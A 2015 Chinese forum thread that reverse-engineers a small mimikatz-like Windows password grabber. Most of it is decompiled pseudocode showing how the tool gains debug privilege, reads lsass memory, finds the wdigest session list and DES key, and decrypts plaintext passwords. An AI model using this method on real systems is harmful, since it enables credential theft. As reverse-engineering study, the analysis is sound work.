王旭东 发表于 2015-1-7 08:24

对windows密码抓取神器mimikatz的逆向分析

本帖最后由 王旭东 于 2015-1-7 08:26 编辑

mimikatz可谓获取windows明文密码神器,新版本更是加上了64位支持。用过一个小型获取明文密码程序,只有一个可执行文件ReadPSW.exe,通过逆向写出了源代码,稍微改改可能也可以支持64位。分享一下逆向过程和工作原理。‍‍FreeBuf科普:了解mimikatz只要借用一下电脑,便可轻松拿到密码……“女神,借用电脑一看可否?”大神们都知道的东西吧,渗透测试常用工具。法国一个牛B的人写的轻量级调试器,可以帮助安全测试人员抓取Windows密码。mimikatz 最近发布了它的2.0版本,抓密码命令更加简单了,估计作者也看到了对它这个神器最多的研究就是直接抓密码,为神马不发布一个直接一键版,哈哈哈哈哈。新功能还包括能够通过获取的kerberos登录凭据,绕过支持RestrictedAdmin模式的win8或win2012svr的远程终端(RDP)的登陆认证。建议默认禁止RestrictedAdmin模式登录。更多内容点我逆向过程‍‍我喜欢先用IDA看大致流程,遇到难以静态看出来的函数再用OD或者windbg。IDA F5 main函数,一段一段的看。‍int __cdecl main_0(){int hdll; // eax@15HMODULE ModuleSecur32; // eax@15int LsaEnumerateLogonSessions; // eax@15int LsaGetLogonSessionData; // eax@15int LsaFreeReturnBuffer; // eax@15int bcrypt; // eax@27int hbcrypt; // eax@27int bcryptprimitives; // eax@27int hbcryptprimitives; // eax@27int status7; // eax@27const void *Base; // @25SIZE_T nSize; // @25int pLsaFreeReturnBuffer; // @15int pLsaGetLogonSessionData; // @15int pLsaEnumerateLogonSessions; // @15HMODULE Secur32; // @15LPCVOID l_LogSessList; // @15int LsaUnprotectMemory; // @15struct _OSVERSIONINFOA VersionInformation; // @5HANDLE Lsass; // @3LPCVOID List; // @18LPCVOID *First; // @20int LogonSessionNow; // @18int ListEntry; // @15SIZE_T NumberOfBytesRead; // @18int hDllLsasrv; // @15‍‍变量名大多是修改过的,通过分析子函数的功能做相应的改变,看起来方便一些。‍‍memset(&tt, -858993460, 0x320u);if ( EnableDebugPrivilege() != 1 )    printf("EnableDebugPrivilege fail !");‍‍首先提权,比较简单:‍‍pToken = &TokenHandle;dwAccess = TOKEN_ALL_ACCESS;ProcessHandle = GetCurrentProcess();retProcessHandle = _chkesp(&dwAccess == &dwAccess, ProcessHandle, &dwAccess);status = OpenProcessToken(retProcessHandle, dwAccess, pToken);      status1 = LookupPrivilegeValueA(0, "SeDebugPrivilege", &Luid);NewState.PrivilegeCount = 1;NewState.Privileges.Luid.LowPart = Luid.LowPart;NewState.Privileges.Luid.HighPart = Luid.HighPart;NewState.Privileges.Attributes = 2;status2 = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);‍‍接着main函数流程:‍‍Lsass = GetProcessHandle("lsass.exe");if ( Lsass ){    offset_one = 0;    offset_two = -1;    memset(&VersionInformation, 0, 0x94u);    VersionInformation.dwOSVersionInfoSize = 148;    status = GetVersionExA(&VersionInformation);    _chkesp(&t == &t, status, &v48);    if ( VersionInformation.dwMajorVersion == 5 )    {      if ( VersionInformation.dwMinorVersion == 1 )      {      offset_one = 36;      offset_two = 2;      }      else      {      if ( VersionInformation.dwMinorVersion == 2 )      {          offset_one = 28;          offset_two = 4;      }      }    }    else    {      if ( VersionInformation.dwMajorVersion == 6 )      {      offset_one = 32;      offset_two = 1;      }    }    if ( offset_two == -1 )    {      status12 = CloseHandle(Lsass);      _chkesp(&t == &t, status12, &v48);      returned = 0;    }‍‍上面工作主要是:获取lsass.exe进程句柄、根据不同版本赋值两个偏移量。可以看出支持xp和2003,之后版本vista、win7等使用同一偏移量。‍‍   else    {      hdll = LoadLibraryA("lsasrv.dll");      hDllLsasrv = _chkesp(&t == &t, hdll, &v48);      LsaUnprotectMemory = GetFunctionAddr(hDllLsasrv, 0x7FFFDDDDu, db_8b_ff, 14u);‍‍这个GetFunctionAddr是我重命名的,跟进去看一下实现就知道了:‍‍int __cdecl GetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length){return RealGetFunctionAddr(Module, Limit, Symbol, Length);}‍‍是一个跳转,接着跟进:‍‍int __cdecl RealGetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length){while ( Length + Module <= Limit ){    label = Symbol;    for ( i = 0; i < Length && *Module == *label; ++i )    {      ++Module;      ++label;    }    if ( i == Length )      break;    Module = Module - i + 1;}return result;}‍‍是用特征码查找函数地址的,想知道是什么函数最好用windbg跟一下,发现找到了lsasrv.dll的LsaUnprotectMemory 函数,这里我也对变量名进行了重命名。该函数用于解密LsaProtectMemory加密内存,这两个函数在LSA中用得非常多。‍‍      l_LogSessList = GetWdigestl_LogSessList();      DesKey(Lsass, hDllLsasrv, offset_two);‍‍这两个函数挺关键,需要结合OD动态调试,先看第一个,中间有个类似上面的跳转,直接看实现函数:‍‍unsigned int __cdecl RealGetFunction(){HMODULE hModule; // eax@1unsigned int moduleBase; // @1unsigned int returned; // @1int SpInstanceInit; // @1HMODULE hLibModule; // @1 memset(&v6, -858993460, 0x50u);t1 = LoadLibraryA("wdigest.dll");hModule = _chkesp(&v5 == &v5, t1, &v11);hLibModule = hModule;v2 = GetProcAddress(hModule, "SpInstanceInit");SpInstanceInit = _chkesp(&v5 == &v5, v2, &v11);moduleBase = hLibModule;returned = 0;while ( moduleBase < SpInstanceInit && moduleBase ){    returned = moduleBase;    moduleBase = GetFunctionAddr(moduleBase + 8, SpInstanceInit, db_8b_45, 8u);}returned = *(returned - 4);status = FreeLibrary(hLibModule);_chkesp(&v5 == &v5, status, &v11);return returned;}‍‍‍‍首先加载‍‍wdigest.dll模块,这里有详细的介绍。然后获取SpInstanceInit的地址,接着是一个查找函数的循环,根据特征码在SpInstanceInit地址低位查找某个地址,使用windbg可以看到要找的东西:‍‍0:000> ln eax(742ec29c)   <Unloaded_wdigest.dll>+0xc29c‍‍这并不是一个函数,具体的作用现在还不知道。后面会用到。‍‍‍‍看下面的函数,这个函数实际上是用来产生DES的密钥:‍‍const void *__cdecl make_DESKey(HANDLE hProcessLsass, int hDllLsasrv, int offset){int status; // eax@1const void *dwResult; // eax@1int Key; // eax@4char buffer; // @1int OSVersion; // @1unsigned int HeapReverse; // @1const void *Buffer; // @4LPCVOID g_pDESXKey; // @4LPCVOID lpBuffer; // @1SIZE_T NumberOfBytesRead; // @1SIZE_T nSize; // @1int pImageNtHeaders; // @1int hTmpDllLsasrv; // @1int DataSECTION; // @1int v27; // @1 memset(&buffer, -858993460, 0x68u);hTmpDllLsasrv = hDllLsasrv;DataSECTION = *(hDllLsasrv + 60) + hDllLsasrv + 288;lpBuffer = (hDllLsasrv + *(DataSECTION + 12));// 获取lsasrv.dll的数据区nSize = ((*(DataSECTION + 8) >> 12) + 1) << 12;   // 数据区大小status = ReadProcessMemory(hProcessLsass, lpBuffer, lpBuffer, nSize, &NumberOfBytesRead); //读取数据区内容_chkesp(&v15 == &v15, status, &v27);pImageNtHeaders = hDllLsasrv + *(hTmpDllLsasrv + 60);HeapReverse = hDllLsasrv + *(pImageNtHeaders + 80);dwResult = offset;OSVersion = offset;if ( offset == 1 ){    v8 = LoadLibraryA("bcrypt.dll");    _chkesp(&v15 == &v15, v8, &v27);    v9 = LoadLibraryA("bcryptprimitives.dll");    _chkesp(&v15 == &v15, v9, &v27);    v10 = GetFunctionAddr(hDllLsasrv, HeapReverse, "3仪E鑌b", 0xCu);   //根据特征码查找存放DES_KEY的地址    g_pDESXKey = v10;    g_pDESXKey = *(v10 - 1);    v11 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);    _chkesp(&v15 == &v15, v11, &v27);    v12 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead);    // 通过两次内存查找找到KEY    _chkesp(&v15 == &v15, v12, &v27);    lpBuffer = g_pDESXKey;    *g_pDESXKey = &t_Key;    v13 = ReadProcessMemory(hProcessLsass, lpBaseAddress, &unk_42BFB8, 0x200u, &NumberOfBytesRead);    _chkesp(&v15 == &v15, v13, &v27);    lpBuffer = &lpBaseAddress;    lpBaseAddress = &unk_42BFB8;    v14 = ReadProcessMemory(hProcessLsass, dword_42AFC4, &unk_42ADB8, 0x200u, &NumberOfBytesRead);    dwResult = _chkesp(&v15 == &v15, v14, &v27);    dword_42AFC4 = &unk_42ADB8;}else{    if ( OSVersion == 2 || OSVersion == 4 )    {      Key = GetFunctionAddr(hDllLsasrv, HeapReverse, Key_Symbol, 0xCu);      g_pDESXKey = Key;      g_pDESXKey = *(Key + 12);      v6 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);      _chkesp(&v15 == &v15, v6, &v27);      v7 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead);      _chkesp(&v15 == &v15, v7, &v27);      dwResult = g_pDESXKey;      lpBuffer = g_pDESXKey;      *g_pDESXKey = &t_Key;    }}return dwResult;}‍‍根据最初得到的偏移,读取进程地址空间,获取DES的密钥。了解了这两个函数内容接着回归main函数:‍‍      status13 = LoadLibraryA("Secur32.dll");      ModuleSecur32 = _chkesp(&t == &t, status13, &v48);      Secur32 = ModuleSecur32;      LsaEnumerateLogonSessions = GetProcAddress(ModuleSecur32, "LsaEnumerateLogonSessions");      pLsaEnumerateLogonSessions = _chkesp(&t == &t, LsaEnumerateLogonSessions, &v48);      LsaGetLogonSessionData = GetProcAddress(Secur32, "LsaGetLogonSessionData");      pLsaGetLogonSessionData = _chkesp(&t == &t, LsaGetLogonSessionData, &v48);      LsaFreeReturnBuffer = GetProcAddress(Secur32, "LsaFreeReturnBuffer");      pLsaFreeReturnBuffer = _chkesp(&t == &t, LsaFreeReturnBuffer, &v48);status1 = (pLsaEnumerateLogonSessions)(&count, &ListEntry);‍‍加载secur32.dll,然后获取几个函数的地址,枚举登陆会话和获取登陆会话数据。接着调用LsaEnumerateLogonSessions得到当前登录的会话个数以及所有会话组成的列表。MSDN上说明了这个函数,会返回会话的LUID。‍‍      _chkesp(&t == &t, status1, &v48);      for ( i = 0; i < count; ++i )      {      LogonSessionNow = ListEntry + 8 * i;// 根据这里可以知道      output_name_session(pLsaGetLogonSessionData, pLsaFreeReturnBuffer, ListEntry + 8 * i);// 这里输出登陆用户名 进入output_name_session看看:int __cdecl output_name_session_real(int (__stdcall *pLsaGetLogonSessionData)(_DWORD, _DWORD), int (__stdcall *pLsaFreeReturnBuffer)(_DWORD), int LogonSessionNow){int status; // eax@1int status1; // eax@1char v6; // @1char v7; // @1int LogonSessionData; // @1int v9; // @1 memset(&v7, -858993460, 0x44u);status = pLsaGetLogonSessionData(LogonSessionNow, &LogonSessionData);_chkesp(&v6 == &v6, status, &v9);printf("UserName: %S\n", *(LogonSessionData + 16));printf("LogonDomain: %S\n", *(LogonSessionData + 24));status1 = pLsaFreeReturnBuffer(LogonSessionData);return _chkesp(&v6 == &v6, status1, &v9);}这里用了之前查找的LsaGetLogonSessionData和LsaFreeReturnBuffer,输出登陆名和域名。       status3 = ReadProcessMemory(Lsass, l_LogSessList, List, 0x100u, &NumberOfBytesRead);   // 这里读取之前获取的那个不明地址内容到List      _chkesp(&t == &t, status3, &v48);      while ( List != l_LogSessList )      {          status4 = ReadProcessMemory(Lsass, List, List, 0x100u, &NumberOfBytesRead);          _chkesp(&t == &t, status4, &v48);          First = &List;          if ( List == *LogonSessionNow )          {            if ( First == *(LogonSessionNow + 4) )       //这个First看着太别扭了,实际上就是比较List和枚举到的会话LUID值            break;//这里可以知道之前那个不明地址<Unloaded_wdigest.dll>+0xc29c是个列表          }      }      if ( List == l_LogSessList )      {          printf("Specific LUID NOT found\n");      }      else      {          nSize = 0;          v28 = (offset_one + First);          nSize = *(offset_one + First + 2);          Base = *(offset_one + First + 4);                  //还是使用了First,不要忘记First是从当时那个不明地址处读取的值          memset(Buffer2, 0, 0x100u);          status2 = ReadProcessMemory(Lsass, Base, Buffer2, nSize, &NumberOfBytesRead);          _chkesp(&t == &t, status2, &v47);//这里读到加密之后的密码。整个流程就清楚了,使用LsaEnumerateSessions获取LUIDs,与之前通过特征码找到的l_LogSessList结合找出密码。l_LogSessList保存了密码的长度和存放地址以及会话LUID,是个重要的未公开结构体。          status5 = (LsaUnprotectMemory)(Buffer2, nSize);          _chkesp(&t == &t, status5, &v47);          printf("password: %S\n\n", Buffer2);      }‍‍后面是一些释放dll和内存的工作,不再赘述。程序和IDA数据库右键图片可以得到。

joexv 发表于 2015-1-7 08:32

楼主说好的一键版呢?:Dweeqw

bxtww 发表于 2015-1-7 08:33

好东西支持!

william2568 发表于 2015-1-7 08:35

如果有直接的软件就最好啦

zzs_70 发表于 2015-1-7 08:44

嗯,分析的好呀

jackrong 发表于 2015-1-7 08:59

学习了,楼主很细心啊。谢谢分享。

renminbi 发表于 2015-1-7 11:10

这不是开源的吗
https://github.com/gentilkiwi/mimikatz

f378694339 发表于 2015-1-7 11:28

来看分析 很详细 {:301_993:}

manbajie 发表于 2015-1-7 20:45

来看看什么样
页: [1]
查看完整版本: 对windows密码抓取神器mimikatz的逆向分析